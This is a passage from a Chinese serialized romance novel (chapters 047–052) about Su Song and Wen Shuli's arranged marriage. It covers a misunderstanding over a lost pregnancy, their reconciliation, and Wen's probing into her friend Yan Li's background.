温戍礼的手机响了,见是苏颂,他眉眼舒展一些,正要转身走开去接听,陈曼曼又喊他:“戍礼哥,好痛啊,我要找阿叙,叫他来。”
不都说了,夏叙现在得在苏氏坐镇。温戍礼有些不耐烦了,但也只能压着,接通电话后说:“还没忙完,我等会回……”
“不用,我没事了。你忙吧。”
两人仅距离几十米,苏颂在转角,挂了电话。
问了之后呢?她没忘记这段婚姻是怎么来的,本就没感情,他娶她,甚至可能还是被迫的,他才是这场婚姻的“受害者”,她这个得益者,还能质问什么?
不该奢求的。
纵使,苏颂现在的心好痛。
爱情里,总是谁先爱,谁就输了。
阿姨问:“太太怎么不说你也在医院。你说了,先生肯定过来找你。”
“可是他已经先陪别人来医院了,不是吗?”苏颂轻笑一声,觉得自己闹了一上午的脾气有点可笑。
047 想见,却又想逃
她以为最近他们的关系有所转变,闹一下试试,却忘了被爱的才能有恃无恐。
她苏颂,算得了什么。
闹大了,被看笑话的,只会是她,因为她已经看清楚那个女人是谁了,那天,那个差点被温戍礼带回家的女人。
心有所属,回来了,也只会是躯壳。
苏颂转身往回走,她不想看医生了,直接走向电梯。
回到家之后,苏颂连午饭都不想吃,就回了房间,阿姨虽然同情,但她就是一个阿姨,还来没几天,分寸感得把控好,正当她摇头叹气的时候,回头却看到进门的男人。
“先生!”
苏颂躺在床上,明明清楚温戍礼不爱她,也明明知道,她要做的,是当作什么都没看到,不知道,坐稳“温太太”这个位置就好,可是清楚归清楚,知道归知道,眼泪还是忍不住一直流。
她捂着隐隐作痛的肚子,感到前所未有的无助,杂乱的回忆片段,竟然让她想到温戍礼的好。
婚后第一年,除了聚少离多,他对她其实挺好的。
每次出差回来,他都会给她带礼物,都是贵重的东西,平常很少用得到,但每一份她都珍藏着。
自从她妈妈走后,奶奶忙着公事,爸爸忙着工作,似乎家里的重心,就只有苏氏,她一个小女孩,成了被遗忘,又多余的那个。
节日没人陪伴,就连生日也被遗忘,曾经被捧在手心里的小公主,再也没有收到过家人的礼物。所以当温戍礼送给她第一份礼物的时候,她很感动。她觉得自己又拥有家了,会相互关心的家人,才算有温度的家。
于是,只要他回来,不管多晚,苏颂都会等他,如果他喝多了,就给他煮一碗醒酒汤,如果只喝一些,那么她就泡杯茶,让他醒醒神。她想也为他提供一份家人的关怀。
后来有一次,她等到在沙发里睡着了,他才发现她原来都是在故意等他,于是两人有了晚上十一点回家的约定。
苏颂在这人生地不熟,白天都很少出门,晚上就更没有了,这条门禁几乎是给他定的。但他遵守了,堂堂温家大少爷,日理万机的人,居然配合着无所事事的她,每次见他守时回来,她真的很开心。
关心、体贴、照顾,一开始,他都做到了。加上帅气又大方,成熟有魅力,苏颂的春心开始动了,喜欢他,好像是迟早的事情。
她看着手腕上的蓝水晶,解了下来。本来她以为,是他看出自己不喜欢那些贵重首饰,用心了解过自己的喜好,现在看来,这条手链可能就是他随便挑的吧。
也有可能是贵重的给了外面的女人,拿别的女人嫌弃的来敷衍她。
越想越委屈,把手链丢在床上,苏颂哭得抽抽搭搭,她以为房间只有她,更是“呜呜”的哭出声。
“肚子很痛吗?”温戍礼端着面进来,看到的就是躺在床上,哭得呜咽的她。
他放下碗,去扳她的肩膀。
苏颂做梦都没想过自己会在温戍礼面前哭得这么伤心,想止住眼泪,但却抽泣得更厉害:“我……我,咳咳咳。”还被自己的口齿不清呛得咳嗽起来。
一把口水喷在他脸上。
“……”
时间好像静止了,苏颂的咳嗽都停下来了,她看着面前闭眼的男人,一动不敢动,心想,完了完了,他好像有洁癖,自己的形象全毁了。
“我,我……刚吃东西卡喉了。”她勉强为自己找了个借口,然后不忘捏着兰花指给他擦拭,试图挽回一点点,淑女的形象。
温戍礼握住她的手,另一手接过她手里的纸巾,擦了一遍,睁开眼,说:“你先把面吃了,我去一下洗手间。”
苏颂哪有心思吃面,耳朵一直听着卫生间的流水声,她很懊恼,觉得自己最近太不稳定了,苦心经营三年的形象万一毁了就前功尽弃了。
温戍礼出来的时候,看见苏颂正站在床边,手里拿着给他新找的衣服,对他露出讨好的笑,心里一刺,不由得想起上午,她在微信里发的消息。
目光不由自主的落在她的肚子上。
【其实我跟他,有过一个宝宝的】
我跟他,有过一个宝宝的。
有过一个宝宝的。
宝宝。
这句话像个魔咒,让他感到心口窒息的痛,最后是他先逃了。
“我叫了医生上门。”想问的话,最后只成了一句叮嘱。
“嗳,衣服……”
门开了又关,苏颂的伪装,又卸下来。不用面对他,她觉得放松,同时,落寞感也席卷上来。
到底,一切都回不到最初的样子了。
可,是什么,让他变得不再关心她的呢?
两年了,苏颂一直想不明白。
。
顾辽舟知道闫丽那个女人辣,但不知道闫丽连脾气都那么爆,他跟着一起去对面,结果连同装修那些人,一起被骂了个狗血淋头,索性,他就回King了,不管了,闫丽爱怎么搞怎么搞了,反正人回来,能交差了就行。
结果刚进门,又听到手下的人说温戍礼在这,中午就来了。
他推开包厢的门,被烟味呛得咳嗽,手在面前晃着,习惯一会,才走进去。
“我说,不想帮忙你就直说,没必要尽给我出难题。叫我砸店的人是你,叫我赶人的也是你。
现在要把店恢复原样的人是你,要我把人‘请’回来的也是你。敢情我好处还没捞着,就吃了一肚子气。”现在还吃一肚子烟气!
顾辽舟是真被闫丽气到了,第一次不想在温戍礼面前争取了。
他往沙发里一坐,拿出烟盒抽出一根,结果发现自己的打火机打不着了,拿了温戍礼的用,一打,一点,着了。
抽一口,精神好些,他笑了起来:“你的火比较好点。”他是想活络一下气氛,又续了上次在办公室开温戍礼的玩笑,“又跟嫂子闹了?”
顾辽舟以为温戍礼是在烦闫丽这件事,说道:“事情发生了,就不可能回到原来的样子,与其骗,我觉得不如直接摊牌。”一个谎言需要无数谎言来圆,太不稳定了。
048 温太太是个闷声干大事的
温戍礼两指夹烟,烟灰长长的,那点猩红已经到了末端,像是无路可退的挣扎一般,忽明忽暗。
“是啊,不可能回到原来的样子。”
这话,可太不温戍礼了。顾辽舟侧目:“老温,你到底怎么了?”
温戍礼的头往后靠了靠,随着他的动作,指间的烟灰洒落,扬了他一身,可他丝毫不在意。
他面对着天花板,凸起的喉结滚动:“她怀过我的孩子。”
“谁,苏颂?”
顾辽舟以为昨晚是自己听错了,没想到温戍礼是真在想孩子的事情。
“我怎么没有听说过,那孩子……”呢?
温戍礼睁着眼睛,那张淡然沉稳的脸,竟然萦绕着一种说不出来的哀愁与难过,让顾辽舟不再嘻嘻,不再抽烟,安静下来,甚至提着心,等着他接下来的话。
他说:“被她打掉了。”
苏颂,打掉了他的孩子!
跟苏颂的婚事,他不算被逼,当时他知道林美丽是要怕他娶到家世强大的女人,顾虑他才在老头子面前,撮合他跟苏颂。
可他温戍礼是有点反骨在的,对手越是忌惮,他越是张狂。于是,苏颂,他娶了,苏氏,他也救回来了。
两年前,苏氏扭亏为盈,度过危机那瞬间,他比任何人都高兴,他知道他不是盘活了一个企业,而是拿下了真正成为她丈夫的资格。
他不顾自己已经几天没好好休息过了,订了最近的航班,飞了回来。只想在消息公布之前,第一个告诉她。
到家的时候,已经是晚上,莲嫂要去喊她,他阻止了。
但后来他很后悔,因为惊喜变成了惊吓。
房间里,苏颂在讲电话。似乎在说很重要的事情,她专注到,没注意房门已经被他打开。
他穿过小客厅走近,刚靠近,就听到她虚弱的声音响起。
“手术做好了。”
“宝宝我已经打掉了。”
“我不会让他知道的。”
短短三句话,让从小聪明睿智的他困惑了足足两年。
为什么?她要瞒着他,打掉他们的孩子?她不想生下他的孩子?
顾辽舟听后,瞪大眼睛,一脸诧异:“所以这就是你动心了,却不想被她知道的原因?”
温戍礼轻轻地,微乎其微的“嗯”了一声。
顾辽舟的八卦之心被撬动,追问:“后来呢?”
那晚他没进去,他像是落败的兵,又逃回他的阵地。
第二天,苏氏那边的消息公开,他假装刚回来,一进门,就闻到空气里,蜡烛的味道。她准备了烛光晚餐庆祝,可是,有什么好庆祝的,
那也是他孩子的忌日!
从小养成的教养,加上一晚上的沉淀,他没有失控,但也控制不住的恶语相加。
“这不是你嫁给我的条件吗?有什么值得高兴的。我只是不想让人觉得我温戍礼娶你只是耍嘴上功夫。把苏氏盘活,也是在证明我自己,毕竟我以后还要进盛泰。
别太感动,也别搞这些有的没的,我没时间陪你打情骂俏。”
他冷冰冰的,把自己塑造成一个完成指令的机器,只有这样,才能止住他心里流淌的血。
费劲心思去为一个女人,结果换一个她连孩子都不想给他生的结果。没有任何一件事,比这件事,对男人的羞辱性更大。
“既然联姻就要有联姻的态度,做好你温太太的分内事就行。懂?”看着她苍白的脸,他到底没问为什么,没究根她一个真相。他以为这样,是留给他们之间的体面。
他离开了,正好项目还有些手尾,所以他三个月没回去,最后是他爸给他打了电话,说那几个月,苏颂每天给他敬茶,是个有孝心的好媳妇,让他别太过分。
当时,他已经沉静下来,反过来想,他也没有做好当爸爸的准备。
三个月的时间,他没恨上苏颂,反而把自己说服了。他以为是自己大度,没想到他做的,比不上她承受的一半。
“难怪!这种事,换谁都会糟心。”嫌弃谁呢!顾辽舟都感到生气了。他拍拍温戍礼的胸膛,一副“兄弟理解你了”的样子。
“不过真看不出来,苏颂还真是闷声干大事的。”只是干的不是人事。
“但今天,我才知道不是这样的。”
一听事情还有反转,顾辽舟“啊”了一声,拿烟的动作都停下了,瞪着眼睛看向温戍礼。
温戍礼颓然的说:“宝宝没发育好,她自己做了人流手术。”
她当时得多痛苦才能做这个决定,她默默承受,他却还雪上加霜。这两年,每当他有所触动的时候,就会对她冷淡。现在却得知,是他误会了。
从上午到现在,苏凤告诉他事情的真相后,他至今释怀不了。
他以为自己够男人了,结果是个混蛋。
这瓜大得,让顾辽舟都呆住了。他还在消化,却见温戍礼已经站起来。
“干什么去?”
“她朋友不是回来了吗。”
顾辽舟跟在温戍礼后面,出了会所的门,知道他是要去找闫丽,顾辽舟感慨:“我还以为你得醉一场,结果下一秒又变成雷厉风行的温大少了。果然,没什么事能够打倒你。”
“这话听起来,像是在损我。”不是没有事情能打倒他,只是背负的太多,他从小就被灌输不能倒的思想。
对苏颂的亏欠,他只能在往后的日子补偿回来。现在第一步,他得为自己的冲动买单,让她的朋友不要跟她心生嫌隙。
闫丽正靠在吧台边上,修身的长裙,把她的身体曲线展现得淋漓尽致,尽显女人的妩媚。把装修的十来个工人迷得都没心思干活。
温戍礼进门的时候,就差点被搬玻璃的人撞到。
“走路不带眼?”顾辽舟上前,拦住那个人。
办公室里,顾辽舟当时只是让人砸店,倒是没有碰里头这一块,所以办公室除了有些灰尘,都还保留原有的样子。
温戍礼一一扫过,白色墙壁,国画,大大张的办公桌,单调的笔筒,笔筒边,是闫丽自己的个人照。
一切布置非常简单,但又没有任何不同寻常的地方,至少,没有半点同的迹象。
049 绿茶遇冷水是泡不开的
“温大少爷上门,不是为了来看我的办公室的吧?”她抬手夺过顾辽舟手里的烟,用了他的火,顾自吞云吐雾起来。
顾辽舟想质问,结果却被她红唇白烟的样子惊艳到,纵使他阅人无数,也不得不承认,这个女人,是个尤物。
他这会他反倒想,要是苏颂真跟她有一腿,好像也不奇怪。
温戍礼眯眼看着她,他非常不喜欢女人抽烟,特别是她裸露出来的大片肌肤,整个人流露出浪荡,一点正经女人的样子都没有。
“我承认之前对你有所误会,但我依然不理解,她跟你会是朋友。”
苏颂温顺乖巧,顶多有点犟,但绝对不会穿这么裸露的衣服,也不会在男人面前,随便的搔首弄姿。
他蹙眉,心里还是反感苏颂跟这样的女人来往,于是他改变了主意,说:“砸了你的店,是我冲动,我会照价赔偿,至于你说的一百万,我也可以给,但你除了瞒好这件事之外,再找个理由,离开南城。”
不能是他赶走的,但可以是闫丽自己走。他不想苏颂被这样的女人带坏,可是对面的女人听后却在笑。
闫丽笑得花枝招展的,像是听到什么好笑的话一样,她反问温戍礼:“你对颂颂的了解有多少就说不理解?”
她讥诮一笑,目光从上往下,巡视一番温戍礼,神态全是轻漫:“我想你温大少搞错了,我跟你要一百万,可不是封口费,是我的精神损失费,毕竟那天,吓到我了。”
被温戍礼扫了一眼的顾辽舟不可置信,吓到什么了?那天他话还没说完,她就跑了,溜得比兔子还快。
闫丽可不管面对的是两位多举足轻重的人物,她也很重要啊。她说:“走是不打算走的,毕竟我这个人倔,偏爱跟人对着干。
要我闭嘴啊,也得看我心情。心情好嘛,我肯定不会提不高兴的事。
毕竟颂颂也挺可怜的,没人理解她,我也不想再让她不开心。”
她拨弄她那双做了美甲的手指,态度傲慢又嚣张。顾辽舟看了都翻白眼,觉得温戍礼肯定不会答应,哪知道这个人又出乎他意料。
温戍礼说:“行,一百万给你。至于走不走,就看你本事,能不能待得下去。”如果她能让苏颂开心,不走也没关系。温戍礼想着。
“我车里只有二十万现金,其余让人转你卡上?”
闫丽乐意收下:“可以。”
出来的时候,顾辽舟还没回神:“这就谈好了?一百万就这样给了?”而且还要看那个女人心情?
“你是不是被刺激傻了。”事根本没办到。
温戍礼道:“我转八十万到你账户,你转给她。顺道查一查她的账户。”
说到查账户,顾辽舟有些懂了:“你是说……”
“我不会让不知底细的人接近我老婆。要拿我的钱,就看她靠山硬不硬。”
这么多年,能在他温戍礼面前硬气的人不多。敢跟他谈条件,就看看她有多厚的靠山。
顾辽舟反应过来,原来他这一百万是饵,要查闫丽的底。他竖起一个大拇指:“不愧是你,就没有白出手的。
刚才我还以为你被嫂子堕胎这件事刺激傻了。”
也不是没影响,温戍礼怅然的说:“我确实不够了解她。如果这个女人真的能让苏颂开心……”
“打住,那两家商铺你说的转给我的,我是不会让她开下去的。”
两人各有目的,暂时求同存异。
温戍礼上车,把钱给了顾辽舟后,正要让司机去盛泰,肖直的电话就打进来。
他让肖直去医院照顾陈曼曼,名为照顾,实际上是要稳住她,不让她联系夏叙。
这会打电话来,应该是陈曼曼的事情。
温戍礼接通,肖直说:“温总,陈小姐一直在说伤口疼,问你什么时候来,还说要打电话给夏叙。”
骨节分明的手指在扶手上敲了敲,他不喜欢被人追问行踪,更不喜欢被人安排,他淡淡地说:“我不会过去了。”
肖直跟在他身边多年,知道上司是不高兴了,但又有所迟疑:“那陈小姐又说要给夏叙打电话……”
“让她打。”
“这样,夏叙万一来了,苏氏就没人坐镇了。”
温戍礼目视前方,神色淡漠,吩咐着:“你回公司,把上午我跟奶奶制定的苏氏规划书传真过去。”
。
医院这边,陈曼曼看似在玩手机,实际上耳朵一直在听门口的肖直说什么。
肖直挂了电话进来:“陈小姐……”
“是戍礼哥要过来了吗?其实他那么忙,可以不用过来的。”她说的懂事大方,像是十分善解人意,但咬着唇,小心翼翼的样子,明明又透出期待。
这是个会抓男人心思的高段位女人。读过心理学的肖直给了判断。他公事公办的说:“是的,温总说他不过来。”
“什么?”陈曼曼太惊讶了,意识过来后,立刻又调整表情,说,“那我也不好通知我家里人,只能给阿叙打电话了。”
她怎么会不知道夏叙现在对苏氏的重要性,她以为这样又能逼温戍礼出现。
哪知道肖直说:“嗯,陈小姐自己安排。我还有事,先走了。”
被单独留下的陈曼曼:“……”温戍礼不来,连他的助理也走了?
怎么全没有按照她计划的走,温戍礼不担心夏叙真的过来看她吗?
门外,肖直睨了一眼病房内,又是一个为了他家上司飞蛾扑火的女人。
。
晚上,温戍礼来接苏颂一起去吃饭。苏凤来了南城,温家身为亲家理应做东一回。今晚这顿饭,是温航之安排的。
苏颂打扮了一下,今晚的场合不算正式,但也人多。一上车,就引起温戍礼的注意。
“手链怎么没戴?掉了吗?”自从他在云城送给她之后,她就一直戴着。为此,他挺满意的。
苏颂不好说是自己不想戴了,解释说:“跟今晚的衣服不搭,取下来了。”
温戍礼瞧了一番她的装扮,墨水色的修身长裙,有点像旗袍,但又没有开衩。
这么深色系又气质的裙子,蓝色水晶,确实会显得轻佻。
050 你知道我有多痛苦?!
“很少见你穿黑色。”温戍礼问,“怎么想起换种风格?”
苏颂心想,还不是因为你喜欢这种风格。
那个女人一直穿旗袍。苏颂心里较劲,但又不想一直成为别人的影子,所以今晚的打扮,她有些反常,那个女人穿浅色系,她就选深色的,那个女人穿的是旗袍,她只选了修身的裙子。
迎合他的口味,但又藏着她叛逆的小心思。
她问:“我觉得挺好看的。你觉得不好看吗?”
明明挑选的时候,胆子大得很,心思明确,就想让温戍礼有一点不痛快。
但这会真面对人了,苏颂很紧张,她的手心热得要出汗了,怕下一秒,身旁的男人又会说出什么让她难堪的话,这会,还有第三人在,她怕丢脸。
“挺好的。”就是不搭那条手链。
苏颂看他淡漠的样子,明了,跟打听到的一样,他喜欢清秀如兰的,女子犹如陈曼曼。
苏颂说不清心里是什么滋味,她不是丈夫喜欢的类型,本应该难过,但可能一开始就知道,所以这会也不是很伤心,甚至因为自己稍微反抗了一下,而感到窃喜。
两人就这样各怀心思地前往酒馆。
温戍礼早已安排司机将苏凤接过来,苏颂进包厢的时候,苏凤正被林美丽将的笑话逗笑。
她奶奶平常古板严厉,能让她笑得这么开心,可见林美丽的功力。不过苏颂诧异的不是林美丽的能力,而是,她为什么讨好她奶奶?
按理来说,苏家现在依附温家,林美丽又一向瞧不起她,更没把苏氏放在眼里。苏颂想起那天晚上的宴会,林美丽对她的恶毒警告,不免警惕起来,她坐下的同时,也搂住苏凤的手臂。
苏凤的注意力转移到她这边来,说:“你们来啦。你公公太客气了,一家人不必搞这些形式,我本打算明日有空,就去温家拜访,然后就回去了。”
温航之听后说:“您是长辈,您来了,怎么还能让您上门,传出去,不得让人说我温航之不懂礼数。”
两人都是商界老油条,客气话是一套又一套。
“再说,人心都是相互的。苏颂对我也有心,这两年,不管刮风下雨,天天如一日的给我敬茶,让我没有皇帝命,却享受了一把皇帝的待遇。
我三个儿子都做不到这样。您教导出来个好孙女,给我们温家教出一个好儿媳,我真心感谢。”
苏凤瞧了苏颂一眼,再去端杯,喝了温航之敬的酒。可这一眼,却让苏颂心虚。
两祖孙的互动都落在温戍礼眼里,看来,苏颂孝顺他爸,用曲线救国这一招,给他争取进盛泰这件事,苏凤不知道。
他起先知道的时候,还以为又是苏凤给出的主意,目的又是为了苏氏。
他不动声色的喝了一口茶,心情舒朗一些,他这个小妻子也不是傻乎乎的,竟然还会用计谋。
一顿饭,吃成对苏颂的夸赞会,温航之跟林美丽一唱一和,几乎都在夸苏颂懂事贤惠孝顺,赞苏凤教得好,整顿饭,苏凤的嘴角都没有放下来过,笑得开心极了。
饭后,苏凤坐温戍礼的车回,苏颂在车上发呆,她总觉得今晚她公公婆婆有些热情过头了,她公公平常也不是话多的人,当然不排除是林美丽一直在旁边吹捧鼓劲导致的,可林美丽,为什么要给她这么大的面子?
“夏叙跟我说,这个规划案很不错,不过需要给他点时间实行,他说他有信心。”一上车,苏凤又同温戍礼谈公事。
苏颂偷偷翻白眼,还以为奶奶真是来看她的,结果是为了苏氏才来的。
坐在副驾驶的温戍礼点头,说:“我们规划的时间是三年,时间很充裕。不过万事开头难,苏氏又刚撤了那么多股东,最好让夏叙盯紧一点,能别走开就别走开。”
开车的肖直瞄了上司一眼,原来,上司让他下午发企划书,是想以此拖住夏叙,别让他来看陈曼曼。
难道,上司早就看穿陈曼曼的心思了?
看来上司对太太是情根深种。
身为助理,肖直悄悄记下。
车子很快就抵达酒店,苏颂依依不舍的拉着苏凤的手:“奶奶,我真的不能跟你一起睡一晚?我不想回去。”
中午的事情她还没忘记,怕回去后温戍礼要算账。不敢回啊!
苏凤却很惊讶,问:“他中午回去找你,你们没谈好,反而闹了?”苏凤很严肃的拉着苏颂站好,说:“难道他还在气你?”
她把事情说了,一是温戍礼竟然知道了,瞒不住就得说。二来,也是想说开后,两人能解开心结,趁年轻要孩子。
可绝对不是想看他们两口子争吵。
面对苏凤严厉的语气,担忧的目光,苏颂一脸懵:“他连这种事都要找你告状?我不就是不小心咳嗽喷了他点口水,又不是故意的。”跟她生气就生气,怎么还能去她奶奶面前说呢。
这跟打小报告有什么区别。苏颂愤愤。
苏凤却听出两人不在一个频道上,说:“他中午回去,没有问你流产的事情?”
瞬间,苏颂脸色苍白如纸。
听见她上车,温戍礼合上笔记本,却见她脸色不太好。
“怎么了?太冷了吗?”他作势要脱下身上的外套。
苏颂摇摇头:“不是。”
他的动作停下,对上她那双眼。哀伤、委屈、忧愁……该怎么形容她此时的眼神呢?温戍礼第一次在一个人身上,感到破碎感。
他的太太,看起来,好像要碎了。
“奶奶说你了?你……”
猝不及防,她扑进他的怀抱,下一秒,哭出声。
“为什么不问,你为什么不问我。你知道我失去宝宝那瞬间,有多痛苦!”
肖直在见苏颂倒在温戍礼怀里的时候,就迅速下车,但动作还是慢了一步,他好像听到一个很大的秘密。车门开了又关,涌进来一股猛烈的风。
那一吹,汹涌得像是能扫开温戍礼心间上的石头——那块他不敢动,却压着两年他的石头,在这一天,彻底搬开了。
051 极度反差
不是她不想给他生宝宝,而是那个宝宝不属于他们。
今晚,有些猛烈,不能做最后一步,让男人更加沉溺其中,似乎要使出浑身解数一般,他在她的身体上留下很多痕迹,最后甚至将她的手往下拉。
苏颂从没有这样做过,往常,她说不方便,他就作罢。最近他们好像越来越不顾及了。
她没有拒绝,他需要释放,她也需要。他们在释怀,也在放纵。夫妻上,没有比这种事更亲密,也更能懂彼此的。
他深深地抱住她,此刻,想把她镶进自己的身体里。伴着气息,一句久等的“对不起”吐出。
。
隔天,苏颂醒来,床边空空,身体的酸疼感提醒着她昨夜的猛烈。明明没到最后,却让她觉得更累。
她以为,又会像上次一样,纵情后,他就忙他的公事了,不料想,温戍礼推门进来,手里还端着一碗粥。
他说:“阿姨说你早上喜欢喝红米粥。”
“你还没去上班啊!”最近他跟普通的上班族一样,早九晚六的,他敬业,总是不到八点就出门了。
温戍礼看了看表:“赶得上。”大概是看出她的疑惑,他又说,“一直都享受温太太的照顾,从今往后,温先生也要学着照顾你。”
说着,他在原地迟疑了一会,伸出手,有些僵硬地捏了捏她的鼻子。
做这种事,他还是不太自在。
“好了,我去上班了。”
苏颂看着他快步离去的背影,他是害羞了吗?随即又看着床边那碗香气飘飘的粥,唇边有了些笑意。
这是第一次,她不反感“温太太”这三个字。
苏颂跟闫丽说完,被她直接来一句:“你可真好哄。”
苏颂的脚已经好了,最近又发生这么多事,觉得不找人说,都快憋爆了。
闫丽说店里在升级,所以约了苏颂到一家私房菜见面,可她听完,却有些无语的样子。闫丽说:“别说姐姐没教你,太好哄的女人,男人是不会珍惜的。
可以借鉴姐姐的第三恋。”
闫丽谈第三段感情的时候,正是苏颂认识她的时候,也是几年前的事情了,他们分手的时候,苏颂的父亲刚去世,并不清楚他们怎么分的,后来她又为了苏氏,嫁给温戍礼,不在同个城市,联系也断了。
“我还是觉得那个时候的丽姐可爱。脾气要比现在好,笑容也多。说明女人还是要被爱,才会更包容。”
说完,苏颂被闫丽弹额头:“行啊,嫌弃起我了。是是是,你有人爱了不起。以后要是被他欺负了,可别找我说。毕竟我是个没有人爱,没有包容心的人,绝对不会劝和你们,甚至只会劝你们分。”
苏颂听得咯咯笑,她不知道温戍礼跟闫丽之间已经有过节,只当她是在开玩笑。
“丽姐,你老实说,你现在有男朋友吗?”陷入爱河里的女人降智,因为全部心思就只有情情爱爱了,所以看人也只有情情爱爱。
闫丽说:“你猜。”
苏颂说:“我猜有,而且你来南城开店,很有可能就是因为这个人。他在南城?”
“啧,开窍了,感情小白变福尔摩斯了。”
“真的啊,是谁?”苏颂星星眼好奇。
闫丽吹了一下新做的指甲,笑得妖艳又迷人,她说:“再等等,会告诉你的。”等有人找到再说。
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苏颂又跟闫丽见面的事,几乎同时汇报到温戍礼这里。他说过,在没有确定闫丽的底细之前,不会让苏颂身边存在隐患,所以他让人盯着闫丽。
温戍礼听完汇报后,给顾辽舟打去电话。
“大忙人,怎么有时间找我?”顾辽舟大约是被电话吵醒的,声音还有些刚睡醒的沙哑。
温戍礼道:“让你查账户,查得怎么样?”
顾辽舟说:“账户一切正常,是她本人开的,也没有特殊的进出账,只有最近一年的支出多了,但也符合她装修那家店的大概金额,猜测是拿出来开店了。”
温戍礼的手指在桌面上敲了敲,思考一番后开口:“没有大金额进出,郊外那栋别墅怎么来的?”
房子总需要买吧。
顾辽舟道:“那地方我也查了,在一个姓林的名下,外地富商,房子在出租,可能是那个女人跟他租的。”
“你租房子会花一百万去给人打理院子?”
一语惊醒梦中人。温戍礼话一出,顾辽舟那边静了半晌,随后说:“知道了。”
温戍礼又说出一个疑惑点:“她在云城的产业赚的钱也买得起别墅,可她却没有自己买,来南城落脚租别墅?”
“你查过她了?”
回应顾辽舟的只是对方的冷笑。是了,他可是温戍礼,就算之前不入商圈,可圈子里谁人不给他面子,可不单单只因为他是温家大少爷,而是温戍礼太自律了,他做每件事几乎都有他的规划,是个可靠又有能力的人。看来去云城不单单只是为情,是有他的打算。
是他笑话早了。顾辽舟问:“你的想法是……”如果温戍礼已经查到了,不会让他查的,但温戍礼既然这样说,肯定察觉到了什么。
温戍礼说出自己的猜测:“有人在包她。”
顾辽舟:“……”
大概对方不相信,温戍礼丢开手里的笔,有些没耐心的说:“你跟人好的时候,就没有送过大手笔的?”
非得这样不可置信!
哪知道顾辽舟说:“送过啊,我还直接将房产证落到对方名下呢!
我不是奇怪有人包闫丽,我是奇怪你居然有这个思路。
你是温戍礼啊,这么懂,还是那个洁身自爱、不近女色,不搞情色交易的温大少吗?!”
内里这么开窍的吗?他一个情场老手没想到的事情,被他先想到了。
“谁说我不搞情色交易,肤浅!”
正在酒店房间的顾辽舟,看着被挂断的电话,迟钝了半晌,后道:“……好像他跟苏颂的婚事也算交易。”然后加个“情色”?又秒懂怎么办!
“哒,一大早要这样秀我一脸?”
拿已婚来跟他谈开窍是吧,有老婆了不起!
052 金屋藏娇
床上的美女见顾辽舟一会发呆一会生气的,坐了起来,问:“哥哥还没从我床上下来,就想着跟谁情色交易了?你也太混了。”
顾辽舟对身边的美女敷衍的笑:“妹妹这么好,我哪舍得。”
看着身边美艳年轻的女人,忽然他问:“只是哥哥有个不懂的事情,妹妹你说,如果有个男人对女人好,却只租房子给这个女人住,但租的地方又不是差钱的,一年的房租就可以买一套小商品了。为什么女人不直接要一套商品房?”
毕竟过了户才算自己的。这些端着青春饭的女人,很会往她们兜里装。
眼前的小美女也是见多识广的,瞬间就笑了:“短期跟长期的区别啊!”
见顾辽舟不明白,美女直接说:“金屋藏娇啊!”
“跟着有身份有社会地位的人做情妇,可跟普通有钱人调情不一样,那是真可以端一辈子的饭碗。说白了,除了不能结婚,真能跟那种人,在外面也会有面子的。
既然不缺钱又不缺名,哪里还看得上区区一套房。”
美女对顾辽舟笑得暧昧:“顾大少,你也算有身份有地位的人,我可以接受你不娶我。”她以为顾辽舟是在试探她。
女人的身体往他身上凑,年轻的皮肤白皙又充满弹性,但顾辽舟却下了床,开始找衣服穿。
他一边扣扣子,一边说:“妹妹真会开玩笑。谢谢妹妹喜欢哥哥这副皮囊,哥哥这点钱你就拿去花,心思就别花在哥哥身上了。
再见。”
。
苏颂跟闫丽吃完饭,就去酒店找奶奶,她奶奶要回云城了。
温戍礼本来打算亲自来的,但忽然有急事处理,就只有苏颂自己过来了。
机场大厅,苏颂送苏凤到登机口,恋恋不舍的说:“奶奶好不容易来一趟,这么快就要走。我还没有跟您好好说说话。”
苏凤说:“又不是只见这一次,等苏氏都稳定下来,我再来看你。”
苏颂问:“奶奶,这次是谁给苏氏注资?”苏颂还不知道。
哪知道苏凤更诧异:“不是你朋友吗?对方只说跟你认识,一点小忙,我还欣慰你交了这么有心又靠谱的朋友。结果你也不知道吗?”
苏颂摇头,朋友?她朋友很少,来了南城三年,跟云城的朋友几乎都断了。
“这样,那我回去得查一查,打听一下。”
一笔来路不明的资金,让苏凤更加归心似箭。临走前她语重心长的说:“等你跟戍礼有了孩子,一切都稳定下来,奶奶就彻底能放下担子。”
苏颂警觉起来:“奶奶,这件事你没说吧?”当时她落胎,只告诉了她奶奶。
苏凤笑道:“我还没老糊涂,现在真要跟温家人说要你们家的种到我们苏家来,他们哪里愿意。
等有了再说,不,等生下来再说,是男孩子就随你姓,反正温家不缺男丁。”
苏颂脸色一变,怔怔的看着她奶奶,手不知何时已经松开,也不黏着了。
她奶奶想让她跟温戍礼的孩子姓苏这件事,才是苏颂当年流产不敢说的秘密。
宝宝发育不好不可选择,但她奶奶当时提出这个想法的时候,她三天睡不着觉。
她觉得,不道义。
就算她背祖忘宗,胳膊往外拐。可她真觉得苏氏都是靠温家救的,还要跟人抢孩子的姓氏权,这事不道德。
温家怎么说也是有头有脸的家族,这样以后温戍礼也会被嘲笑的。
一个苏氏,已经让她不敢在温戍礼面前做自己了。如果还要抢孩子,她觉得以后她都没脸在温家做人。
她知道她这个想法不孝顺,可是良知还压着她。
但苏凤有另外的想法:“我就这么一个宝贝孙女,本来可以留在家里的,生多少孩子,那都是苏家的。现在就要他一个,而且以后苏氏可以并到温家的产业下,就跟温戍礼的父母一样……反正都是他们家的血脉,他们温家不亏。”
温戍礼的母亲?又是苏颂不了解的人,她也不知道这样做怎么就跟温戍礼的父母一样。她的婚事是奶奶决定的,除了知道自己嫁给谁,其余她都不清楚。
而苏凤显然也不想她知道太多。苏凤说:“好了,你太单纯了,说多你容易多想。
反正你只要知道,奶奶不会害你就行,尽快跟戍礼有个孩子,不管男女,也不管跟谁姓,对你是最好的。
豪门深似海,母凭子贵这个道理,一直没变。
看看你那个后婆婆就知道了,靠两个儿子,二婚的比原配还张扬。
一口一个‘媳妇’,真把自己当成是你婆婆了。上不了台的东西真会给自己挣脸。”
没想到,奶奶心里这么瞧不起林美丽,她昨天还以为奶奶怎么那么容易被林美丽糊弄呢。
看来,单纯的真的只有她。
苏凤登机了,苏颂一个人站在那,忽然又像是回到三年前那样无助。
三年前,她被她的奶奶抛下了,留她在这里嫁人。
现在,奶奶又把她留下了,要她在这里生娃。
昨晚,温戍礼问她,为什么当年怀孕这么大的事情没说。因为她怕。
他不在身边,甚至他们都还不熟悉,跟温家人更觉得陌生。
